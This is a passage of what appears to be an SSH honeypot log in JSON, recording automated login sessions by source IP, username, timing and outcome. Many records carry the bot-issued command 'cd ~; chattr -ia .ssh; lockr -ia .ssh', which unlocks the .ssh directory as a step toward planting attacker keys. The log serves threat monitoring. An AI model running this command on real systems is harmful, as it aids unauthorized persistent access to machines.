  "src_ip": "51.12.221.15",
  "src_port": 60338,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:09:31.878755+00:00",
  "ended_at": "2026-08-25T11:09:32.259841+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43892932-a825-4f04-8643-cbd8d9faf430",
  "name": "grassy-gilded-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 44946,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:09:20.884638+00:00",
  "ended_at": "2026-08-25T11:09:22.508118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67cd2aa7-267c-49be-b6cc-b2e1d21408cf",
  "name": "buoyant-idle-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 46614,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:09:19.559157+00:00",
  "ended_at": "2026-08-25T11:09:20.200146+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b14475a9-025f-4b77-8607-cff8c2b3e989",
  "name": "crisp-umber-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 47844,
  "username": "cam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:08:27.024250+00:00",
  "ended_at": "2026-08-25T11:12:27.034513+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "4bda5e27-ce48-4260-9791-c0ca1018a999",
  "name": "smooth-tranquil-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 38812,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:07:05.046134+00:00",
  "ended_at": "2026-08-25T11:07:06.283946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "31f5d9cb-1c44-4dc5-a8ab-9eab9197f5d2",
  "name": "blithe-jolly-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 35478,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:05:04.421919+00:00",
  "ended_at": "2026-08-25T11:09:04.708716+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "b6f467fc-4539-48c4-87a8-5630dfa2615d",
  "name": "frugal-quaint-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 42052,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:04:57.040547+00:00",
  "ended_at": "2026-08-25T11:04:57.886919+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "43f2d8ef-f935-4481-a313-6f16d4f769a7",
  "name": "hazy-fabled-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.12.221.15",
  "src_port": 33934,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:02:42.490855+00:00",
  "ended_at": "2026-08-25T11:02:44.219800+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2de1070b-5e12-47be-97d1-73372881d1b9",
  "name": "zealous-plucky-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 55096,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T11:01:52.061274+00:00",
  "ended_at": "2026-08-25T11:02:49.891523+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8f71053-8bc3-4da5-9313-f0e72c49ad23",
  "name": "dutiful-dapper-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 51350,
  "username": "newuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T11:01:33.567805+00:00",
  "ended_at": "2026-08-25T11:05:33.602711+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "573f7024-fc35-481c-8ac1-e176b60c0bab",
  "name": "silent-fleeting-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 38994,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:58:09.522641+00:00",
  "ended_at": "2026-08-25T11:02:10.062814+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "f50e5a84-630e-4146-add2-15dd784505c9",
  "name": "forlorn-hearty-agouti",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 54884,
  "username": "upload",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:54:48.709371+00:00",
  "ended_at": "2026-08-25T10:58:48.899876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "084dbd8e-7787-4f50-ba22-ae2f3712ad63",
  "name": "chilly-faded-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 42530,
  "username": "hang",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:51:23.200944+00:00",
  "ended_at": "2026-08-25T10:55:23.346215+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44efe78a-91a4-4ac9-b3b2-9031b0a1ba87",
  "name": "plush-gloomy-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 34084,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:48:16.660966+00:00",
  "ended_at": "2026-08-25T10:49:15.279053+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93c7ef5f-713b-4469-9aed-075141e32be9",
  "name": "northern-marine-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 58406,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:47:58.982744+00:00",
  "ended_at": "2026-08-25T10:51:58.996009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 75
 },
 {
  "id": "3284573c-7b65-4b24-b70d-ac257476ab06",
  "name": "diligent-fabled-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 33702,
  "username": "linda",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:41:07.035868+00:00",
  "ended_at": "2026-08-25T10:45:07.901432+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "4953f530-47d2-4934-9453-1695fbe27c2b",
  "name": "inland-somber-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 49584,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:37:45.101608+00:00",
  "ended_at": "2026-08-25T10:41:45.628423+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "1a39da1d-05b8-47b4-9780-84cfa9d9eb66",
  "name": "deft-golden-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 37228,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:34:17.839414+00:00",
  "ended_at": "2026-08-25T10:38:18.437322+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "d0b966b0-eb2b-4363-8244-15dcbf1d2b1f",
  "name": "bold-gritty-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 53102,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:30:47.723435+00:00",
  "ended_at": "2026-08-25T10:34:47.931036+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc10a1c3-bbff-4c61-85f5-68948824fae2",
  "name": "creaky-early-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 40742,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:27:21.775408+00:00",
  "ended_at": "2026-08-25T10:30:35.425269+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "ec2d23d2-793c-43b2-934a-e1308f1945ae",
  "name": "craggy-kindly-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 56634,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:24:00.066308+00:00",
  "ended_at": "2026-08-25T10:28:00.469189+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51d023a0-841e-4a8b-ab70-7076c4447d6d",
  "name": "downy-languid-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 60162,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:17:12.845715+00:00",
  "ended_at": "2026-08-25T10:21:13.096526+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "fbfdf2a1-f554-4e3d-b8d4-66a93de1410c",
  "name": "quaint-ashen-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 47800,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:13:44.868768+00:00",
  "ended_at": "2026-08-25T10:17:44.885173+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "9840f515-945b-4840-a6fd-42a494ad3a1f",
  "name": "ruddy-nautical-gadwall",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 53808,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:07:20.209420+00:00",
  "ended_at": "2026-08-25T10:07:21.117175+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "feb20677-58c2-4df8-9c4d-2ce11d2a57ba",
  "name": "foggy-fleeting-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 51350,
  "username": "riad",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:07:10.215225+00:00",
  "ended_at": "2026-08-25T10:11:10.480246+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 75
 },
 {
  "id": "cd02ed77-4693-44f0-89a2-2f94dc3435a0",
  "name": "weathered-mossy-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 43646,
  "username": "max",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:04:16.524519+00:00",
  "ended_at": "2026-08-25T10:04:17.313309+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e575c5cc-3042-4157-8f6a-ae33d69a21ec",
  "name": "vernal-daring-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 42928,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:04:12.409723+00:00",
  "ended_at": "2026-08-25T10:04:14.168525+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c0115f5-354b-432f-ab6a-c21517a8ccec",
  "name": "indigo-keen-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 39014,
  "username": "max",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T10:03:54.542655+00:00",
  "ended_at": "2026-08-25T10:07:54.903056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7d07847-03d3-4f8a-90b9-71c35aae1aad",
  "name": "granite-polar-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 54898,
  "username": "jhlee",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T10:00:36.088137+00:00",
  "ended_at": "2026-08-25T10:04:36.369004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "cf54395d-03c6-422a-9603-bb85dc684c85",
  "name": "mindful-feathered-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 58414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T09:53:42.517234+00:00",
  "ended_at": "2026-08-25T09:57:42.533916+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 68
 },
 {
  "id": "651ec677-83a6-4d7f-b33e-6e77280c89dc",
  "name": "scarlet-candid-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.102.98.53",
  "src_port": 38006,
  "username": "es1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 65,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T09:51:04.655389+00:00",
  "ended_at": "2026-08-25T09:51:04.662733+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 3254
 },
 {
  "id": "c16b2712-0c32-48a2-bea8-388e75de3a52",
  "name": "northern-slender-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 33402,
  "username": "es1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:50:53.503909+00:00",
  "ended_at": "2026-08-25T09:50:53.788157+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b2bde220-c37a-4d3b-ab58-b4792053aa48",
  "name": "idle-dusty-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 38014,
  "username": "es1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:50:47.344248+00:00",
  "ended_at": "2026-08-25T09:50:48.702715+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1b2f389-8bde-490c-b106-411fc902e876",
  "name": "deft-grassy-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 38012,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:50:46.329370+00:00",
  "ended_at": "2026-08-25T09:50:47.198325+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "01c31fd0-8358-4208-bbbc-67938b57b7d2",
  "name": "loyal-burly-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 52388,
  "username": "cod2server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:48:20.629770+00:00",
  "ended_at": "2026-08-25T09:48:21.176919+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55f549f2-8b94-47f7-b82a-114c120eebac",
  "name": "sunlit-shaded-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 33704,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:46:47.808688+00:00",
  "ended_at": "2026-08-25T09:50:48.336100+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7f278f16-d45d-4b6a-9c7d-a3c12bd92607",
  "name": "rapid-twilight-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 56242,
  "username": "george",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:46:10.553570+00:00",
  "ended_at": "2026-08-25T09:46:12.373582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf9d1eda-70c3-4922-85b3-3dede790eb9d",
  "name": "placid-ashen-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 49584,
  "username": "admin1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:43:23.598370+00:00",
  "ended_at": "2026-08-25T09:47:23.749942+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f126ae8d-da06-4faf-bdea-1e6ec9319bac",
  "name": "austere-tender-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.102.98.53",
  "src_port": 59894,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:40:40.074472+00:00",
  "ended_at": "2026-08-25T09:40:41.592262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1bba2f56-fa49-473e-ad98-b0f05593302c",
  "name": "tender-slender-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 37226,
  "username": "itsupport",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:39:55.246459+00:00",
  "ended_at": "2026-08-25T09:43:55.558686+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "21fa9c74-9b0b-407b-b163-db92316ae4cb",
  "name": "electric-golden-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 53088,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:36:23.176463+00:00",
  "ended_at": "2026-08-25T09:40:23.747641+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6c60458-f837-477b-b996-47a248fc6448",
  "name": "feathered-quiet-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 44244,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T09:26:01.722636+00:00",
  "ended_at": "2026-08-25T09:30:01.757215+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 75
 },
 {
  "id": "cf49f191-7f20-4d33-a3af-a5f254fe1161",
  "name": "glacial-sooty-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 35396,
  "username": "ftpadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T09:15:34.627210+00:00",
  "ended_at": "2026-08-25T09:19:35.428586+00:00",
  "ended_reason": "connection lost",
  "commands": 1,
  "transcript_bytes": 37
 },
 {
  "id": "a61a9ca5-ee0c-49f3-a3e5-378ac090c82b",
  "name": "feathered-windswept-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 54786,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:05:10.854035+00:00",
  "ended_at": "2026-08-25T09:09:12.161466+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4a1d174c-3ce8-40a3-979b-fef32681728b",
  "name": "lonesome-slender-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "42.240.164.208",
  "src_port": 42418,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T09:01:38.459199+00:00",
  "ended_at": "2026-08-25T09:05:38.875679+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "207cd025-cad0-483a-baf6-215ce284b2cd",
  "name": "courtly-dewy-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "42.240.164.208",
  "src_port": 58280,
  "username": "mel",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T08:58:08.336002+00:00",
  "ended_at": "2026-08-25T09:02:08.353655+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 121
 },
 {
  "id": "1ec638cc-b33e-4be7-8f52-047ca1789644",
  "name": "painted-idle-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "76.79.213.70",
  "src_port": 51068,
  "username": "erpnext",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 371,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-25T08:53:26.661515+00:00",
  "ended_at": "2026-08-25T08:53:26.784419+00:00",
  "ended_reason": "exec complete",
  "commands": 27,
  "transcript_bytes": 4161
 },
 {
  "id": "a3e2d40c-4f68-4e00-b31e-645306d96ab2",
  "name": "feathered-jovial-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "76.79.213.70",
  "src_port": 56706,
  "username": "erpnext",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:53:10.054880+00:00",
  "ended_at": "2026-08-25T08:53:10.453391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6eb1822a-cc08-4b25-8572-0f72fd1b530a",
  "name": "umber-gentle-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "76.79.213.70",
  "src_port": 52422,
  "username": "erpnext",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T08:52:58.862916+00:00",
  "ended_at": "2026-08-25T08:53:00.084547+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b40b9424-6805-4eff-8a04-4f94893e5e77",
  "name": "zealous-honest-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "76.79.213.70",
  "src_port": 51678,
  "username": "345gs5662d34",
